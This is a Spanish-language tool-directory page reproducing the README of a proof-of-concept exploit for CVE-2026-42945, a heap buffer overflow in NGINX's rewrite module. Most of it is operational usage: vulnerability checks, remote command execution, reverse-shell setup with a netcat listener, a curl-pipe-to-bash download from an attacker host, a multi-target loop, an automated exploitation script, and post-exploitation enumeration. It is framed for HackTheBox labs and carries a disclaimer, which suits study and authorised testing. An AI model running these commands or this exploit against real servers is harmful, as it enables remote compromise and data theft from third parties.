Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-42945-POC — exploit para CVE-2026-42945 | Kitploit
Herramientas/GitHubGitHub/cipherspy/cve-2026-42945-poc
ReconocimientoGeneración de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebCTFPruebas de PenetraciónComando y ControlAprendizaje y EducaciónExplotación de Binarios
GitHubcipherspy/cve-2026-42945-poc
54137hace 3 mesesRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →

CVE-2026-42945-POC

exploit para CVE-2026-42945

Ver Repositorio
Compartir

CVE-2026-42945 (NGINX Rift) - Exploit listo para HTB

Exploit independiente para la vulnerabilidad de desbordamiento de búfer en el heap de NGINX descubierta en 2024. Esta versión está optimizada para entornos de HackTheBox y CTF donde no se pueden configurar contenedores Docker.

Detalles de la vulnerabilidad

CVE-2026-42945 es un desbordamiento de búfer en el heap crítico en el módulo ngx_http_rewrite_module de NGINX que ha existido desde 2008 (versión 0.6.27). El error ocurre cuando:

  1. Una directiva rewrite contiene ? en el reemplazo (establece is_args = 1)
  2. Una directiva set captura parte de la URI
  3. El cálculo de longitud ocurre en un sub-motor con ceros (ve is_args = 0)
  4. La fase de copia se ejecuta en el motor principal (ve is_args = 1)
  5. El escape de URI expande los caracteres 3 veces, desbordando el búfer de tamaño insuficiente
Descargar herramienta

Versiones afectadas

  • NGINX Open Source: 0.6.27 - 1.30.0
  • NGINX Plus: R32 - R36

Versiones corregidas

  • NGINX Open Source: 1.31.0, 1.30.1
  • NGINX Plus: R36 P4, R35 P2, R32 P6

Archivos incluidos

  1. nginx_rift_htb.py - Script de exploit principal
  2. nginx_rift_helper.py - Ayudante de reconocimiento y fuga de información
  3. README.md - Este archivo

Requisitos

root@kitploit:~
# Python 3.6+
sudo apt update
sudo apt install python3 netcat-openbsd

# No additional Python packages needed - uses only stdlib!

Inicio rápido

1. Verificar si el objetivo es vulnerable

root@kitploit:~
python3 nginx_rift_htb.py --target 10.10.11.x --check-only

Esto:

  • Detecta si NGINX se está ejecutando
  • Intenta identificar la versión
  • Verifica el endpoint /api/
  • Informa si el objetivo parece vulnerable

2. Reconocimiento (Recomendado)

root@kitploit:~
python3 nginx_rift_helper.py --target 10.10.11.x --all

Esto realiza:

  • Huella digital de NGINX
  • Detección de versión
  • Descubrimiento de endpoints
  • Detección de fugas de información
  • Análisis de comportamiento

3. Ejecutar el exploit

Ejecutar un comando:

root@kitploit:~
python3 nginx_rift_htb.py --target 10.10.11.x --port 80 --cmd "id"

Obtener una reverse shell:

root@kitploit:~
# Iniciar listener primero (en otra terminal)
nc -lvnp 4444

# Ejecutar exploit
python3 nginx_rift_htb.py --target 10.10.11.x --shell --lhost 10.10.14.5 --lport 4444

Ejemplos de uso

Ejecución de comandos básica

root@kitploit:~
# Ejecutar comando 'id'
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "id"

# Ejecutar 'whoami'
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "whoami"

# Leer /etc/passwd
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "cat /etc/passwd"

Reverse shell

root@kitploit:~
# Terminal 1: Iniciar listener
nc -lvnp 4444

# Terminal 2: Ejecutar exploit
python3 nginx_rift_htb.py \
    --target 10.10.11.23 \
    --shell \
    --lhost 10.10.14.5 \
    --lport 4444 \
    --verbose

Direcciones personalizadas (Si ASLR está deshabilitado o tienes fugas)

root@kitploit:~
python3 nginx_rift_htb.py \
    --target 10.10.11.23 \
    --cmd "id" \
    --heap-base 0x555555659000 \
    --libc-base 0x7ffff77ba000

Opciones avanzadas

root@kitploit:~
python3 nginx_rift_htb.py \
    --target 10.10.11.23 \
    --port 8080 \
    --cmd "curl http://10.10.14.5/shell.sh | bash" \
    --tries 20 \
    --verbose

Entendiendo el exploit

Cómo funciona

  1. Heap Spray: El exploit envía múltiples solicitudes POST con cuerpos manipulados que contienen una estructura ngx_pool_cleanup_s falsa
  2. Disparador de desbordamiento: Envía una solicitud GET a /api/ con una URI especialmente manipulada que se desbordará al escaparse
  3. Hook de limpieza: El desbordamiento corrompe el puntero de limpieza de un pool adyacente para que apunte a nuestra estructura falsa
  4. Ejecución de código: Cuando se destruye el pool, llama a system() con nuestro comando

Parámetros clave

  • Target bytes: Direcciones de 6 bytes que deben contener solo caracteres seguros para URL
  • Spray body: Cuerpo POST de 4000 bytes que contiene la estructura de limpieza falsa
  • Overflow payload: 349 'A' + 969 '+' caracteres que se expanden 3x durante el escape

Consideraciones sobre ASLR

El exploit asume que ASLR está deshabilitado o que conoces las direcciones. En HTB:

  • Algunas máquinas deshabilitan ASLR para facilitar la explotación
  • Otras requieren encontrar una fuga de información
  • El script auxiliar puede ayudar con el reconocimiento

Si ASLR está habilitado, es posible que necesites:

  1. Encontrar una fuga de información en la aplicación
  2. Fuerza bruta (requiere muchos intentos)
  3. Usar sobrescrituras parciales (avanzado)

Solución de problemas

"El objetivo no parece estar ejecutando NGINX"

  • Verifica que el objetivo realmente esté ejecutando NGINX
  • Comprueba si el puerto es correcto
  • Puede estar detrás de un WAF/proxy

"No se pudo confirmar el endpoint /api/"

La configuración vulnerable requiere:

root@kitploit:~
location ~ ^/api/(.*)$ {
    rewrite ^/api/(.*)$ /internal?migrated=true;
    set $original_endpoint $1;
}
  • El exploit puede funcionar si rewrite+set existen en otro lugar
  • Prueba diferentes rutas comunes: /api/, /admin/, /internal/

"Todos los intentos de explotación fallaron"

Posibles razones:

  1. ASLR está habilitado - Las direcciones están aleatorizadas

    • Solución: Encuentra una fuga de información o fuerza bruta
  2. Versión diferente de libc - system() en un offset diferente

    • Solución: Prueba todos los offsets con --verbose
  3. Versión no vulnerable - Versión corregida o configuración diferente

    • Solución: Verifica la versión con el script auxiliar
  4. WAF/IDS bloqueando - Controles de seguridad activos

    • Solución: Puede requerir técnicas de evasión
  5. Endpoint incorrecto - No se usa la combinación rewrite+set

    • Solución: Encuentra el endpoint vulnerable real

Modo verbose

Usa siempre --verbose para depuración:

root@kitploit:~
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "id" --verbose

Esto muestra:

  • Estado de cada solicitud de spray
  • Intentos de conexión
  • Momento del disparo de desbordamiento
  • Lógica de detección de crash

Consejos específicos de HTB

Encontrar tu IP de VPN

root@kitploit:~
# Encuentra tu IP tun0
ip addr show tun0 | grep inet

# Usa esta IP para --lhost
python3 nginx_rift_htb.py --target TARGET --shell --lhost TU_IP_TUN0 --lport 4444

Estabilizar la shell

Una vez que obtengas acceso inicial:

root@kitploit:~
# Actualizar a TTY
python3 -c 'import pty; pty.spawn("/bin/bash")'

# Poner en segundo plano y configurar terminal
Ctrl+Z
stty raw -echo; fg
export TERM=xterm

Enumeración común en HTB después de obtener la shell

root@kitploit:~
# Verificar usuario actual
id
whoami

# Buscar flags
find / -name "user.txt" 2>/dev/null
find / -name "root.txt" 2>/dev/null

# Verificar permisos sudo
sudo -l

# Verificar binarios SUID
find / -perm -4000 2>/dev/null

Uso avanzado

Generación de payload personalizado

Si necesitas personalizar el payload:

root@kitploit:~
# Editar la función make_body() en nginx_rift_htb.py
# Ajustar BODY_LEN para diferentes configuraciones
# Modificar la cadena de desbordamiento (349 'A' + 969 '+')

Múltiples objetivos

root@kitploit:~
# Crear una lista de objetivos
cat targets.txt
10.10.11.23
10.10.11.24
10.10.11.25

# Probar cada uno
while read target; do
    echo "Probando $target"
    python3 nginx_rift_htb.py --target $target --check-only
done < targets.txt

Explotación automatizada

root@kitploit:~
#!/bin/bash
TARGET=$1
LHOST=$2

echo "[*] Iniciando listener..."
nc -lvnp 4444 &
LISTENER_PID=$!

sleep 2

echo "[*] Ejecutando exploit..."
python3 nginx_rift_htb.py \
    --target $TARGET \
    --shell \
    --lhost $LHOST \
    --lport 4444 \
    --verbose

wait $LISTENER_PID

Detalles técnicos

Patrón de código vulnerable

root@kitploit:~
location ~ ^/api/(.*)$ {
    rewrite ^/api/(.*)$ /internal?migrated=true;  # Establece is_args=1
    set $original_endpoint $1;                     # Asigna basado en is_args=0
}

Flujo de explotación

root@kitploit:~
1. Spray POST → Llena el heap con estructuras de limpieza falsas
2. GET /api/AAAA...++++...X → Dispara el desbordamiento
3. Desbordamiento corrompe el puntero de limpieza del pool adyacente
4. Pool destruido → Llama a system(cmd)

Diseño de memoria

root@kitploit:~
[Cuerpo de Heap Spray - 4000 bytes]
+0:  system_addr (8 bytes)
+8:  data_addr (8 bytes)
+16: next (8 bytes, NULL)
+24: command_string (variable)
+restante: padding 'A'

Referencias

  • POC original: https://github.com/p3Nt3st3r-sTAr/CVE-2026-42945-POC
  • Artículo técnico: https://depthfirst.com/research/nginx-rift
  • Aviso de NGINX: https://my.f5.com/manage/s/article/K000160932
  • Detalles de CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42945

Aviso legal

Esta herramienta se proporciona únicamente con fines educativos y pruebas de seguridad autorizadas. Usarla contra sistemas que no posees o para los que no tienes permiso explícito para probar es ilegal. El autor no asume ninguna responsabilidad por el mal uso.

Créditos

  • Vulnerabilidad original descubierta por depthfirst
  • POC original: p3Nt3st3r-sTAr
  • Adaptación para HTB: Modificado para uso independiente

Licencia

Solo con fines educativos/de investigación. Úsalo de manera responsable.